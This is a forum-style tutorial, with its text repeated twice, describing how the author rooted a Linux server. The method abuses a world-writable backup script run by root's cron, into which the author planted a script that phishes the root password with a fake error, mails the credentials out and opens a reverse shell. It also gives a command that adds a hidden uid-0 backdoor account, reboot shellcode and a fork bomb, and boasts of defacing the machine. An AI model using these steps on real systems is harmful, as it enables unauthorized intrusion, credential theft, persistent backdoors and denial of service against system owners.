Hello guys ,
I wrote this tutorial to show you how i rooted a friend's server with a fully patched 2011 kernel [ he challenged me first x)] !
This technique isn't kernel related so every linux box could be vulnerable !
the aim of this tutorial is to teach you a custom technique i managed to exploit !
Overview :
basically this technique is based on :
0% local kernel exploit ( the 2011 one is private )
0% buffer overflow exploit ( couldn't enumerate any vulnerable binary , i had to make one but you know it takes time to debug and find those stuff )
50% Enumeration : i need to explain this =>
i uploaded a shell on the server , While enumerating daemons , /root , /etc permissions
i found that /etc/cron.daily and /etc/cron.hourly (Redhat/Centos even Debian cron tables) were Read-only chmoded so i could see what was on them !
i saw that cron.daily was running a custom script :
so the daily cron was doing a backup every day...
Guess what ? the /etc/backup.sh was chmoded as 777 so i could change it's content as a normal linux user !! and that's where everything started !
20% Social engineering : you need to find some info about the admin , how much he knows his stuff...to fool him
30% Intelligence and patience !
Let's get started :
So if you something like i stated above then it's just a matter of time to root that box !
Step 1
You need to read very well the script to know what i does exactly !
in my case the script was copying files from /home/xxx to /mnt/drive2 so basically a backup stuff
Step 2
I wrote a nifty bash script that will fool the root :
-simulating a critical error and asking for Linux root passwd
-simulating a kernel patch download...
-the script will send you a mail with the credentials
-it will spawn a reverse shell ;)
[img]http://img198.imageshack.us/img198/1879/trollub.jpg[/img]
Step 3
So i saved my script to /tmp/trollroot.sh and called it from /etc/backup.sh
i added : I saved everything and went out from his box
Step 4
21 hours later
I fired up my netcat to listen to a specific port
My script sent me a mail with root credentials :)
also netcat was listening to the server and opened me a shell
Step 5
i typed : typed the password i got
and i was the root :D
you know the drill :
Step 6
For the lulz i changed the wallpaper with a deface image xD
a Remark
You can also check /etc/init.d instead of cron tables but you need to reboot the box in order to spawn your script
you need to try every method to reboot it , here is two methods !
shellcode :
fork bomb :
So next time you wanna root a box , check for the same vulnerable spots !
cheers.
I wrote this tutorial to show you how i rooted a friend's server with a fully patched 2011 kernel [ he challenged me first x)] !
This technique isn't kernel related so every linux box could be vulnerable !
the aim of this tutorial is to teach you a custom technique i managed to exploit !
Overview :
basically this technique is based on :
0% local kernel exploit ( the 2011 one is private )
0% buffer overflow exploit ( couldn't enumerate any vulnerable binary , i had to make one but you know it takes time to debug and find those stuff )
50% Enumeration : i need to explain this =>
i uploaded a shell on the server , While enumerating daemons , /root , /etc permissions
i found that /etc/cron.daily and /etc/cron.hourly (Redhat/Centos even Debian cron tables) were Read-only chmoded so i could see what was on them !
i saw that cron.daily was running a custom script :
Code
* * * * * /etc/backup.sh /home/xxxso the daily cron was doing a backup every day...
Guess what ? the /etc/backup.sh was chmoded as 777 so i could change it's content as a normal linux user !! and that's where everything started !
20% Social engineering : you need to find some info about the admin , how much he knows his stuff...to fool him
30% Intelligence and patience !
Let's get started :
So if you something like i stated above then it's just a matter of time to root that box !
Step 1
You need to read very well the script to know what i does exactly !
in my case the script was copying files from /home/xxx to /mnt/drive2 so basically a backup stuff
Code
Cron tables tutorial : http://www.pantz.org/software/cron/croninfo.htmlStep 2
I wrote a nifty bash script that will fool the root :
-simulating a critical error and asking for Linux root passwd
-simulating a kernel patch download...
-the script will send you a mail with the credentials
-it will spawn a reverse shell ;)
[img]http://img198.imageshack.us/img198/1879/trollub.jpg[/img]
Post here and i will pm it to you
Step 3
So i saved my script to /tmp/trollroot.sh and called it from /etc/backup.sh
i added :
Code
"sh /tmp/trollroot.sh"Step 4
21 hours later
I fired up my netcat to listen to a specific port
My script sent me a mail with root credentials :)
also netcat was listening to the server and opened me a shell
Step 5
i typed :
Code
"su root"and i was the root :D
you know the drill :
Code
"adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M troll"Step 6
For the lulz i changed the wallpaper with a deface image xD
a Remark
You can also check /etc/init.d instead of cron tables but you need to reboot the box in order to spawn your script
you need to try every method to reboot it , here is two methods !
shellcode :
Code
/*
###
# Title : linux/x86 Command Exec (reboot) Shellcode - 37 Bytes
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : linux/x86
# Type : Shellcode
# Tested on : Linux.(Ubuntu 10.10) En
###
# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends
###
*/
char shellcode[] =
"x6Ax0B" // | PUSH 0B
"x58" // | POP EAX
"x99" // | CDQ
"x52" // | PUSH EDX
"x66x68x2Dx63" // | PUSH 632D
"x89xE7" // | MOV EDI,ESP
"x68x2Fx73x68x00" // | PUSH 68732F
"x68x2Fx62x92x6E" // | PUSH 6E92622F
"x89xE3" // | MOV EBX,ESP
"x52" // | PUSH EDX
"x72x65" // | JB SHORT
"x62x6Fx6F" // | BOUND EBP,QWORD PTR DS:[EDI+6F]
"x74x00" // | JE SHORT
"x57" // | PUSH EDI
"x53" // | PUSH EBX
"x89xE1" // | MOV ECX,ESP
"xCDx80"; // | INT 80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}fork bomb :
Code
$ :(){ :|:& };:So next time you wanna root a box , check for the same vulnerable spots !
cheers.
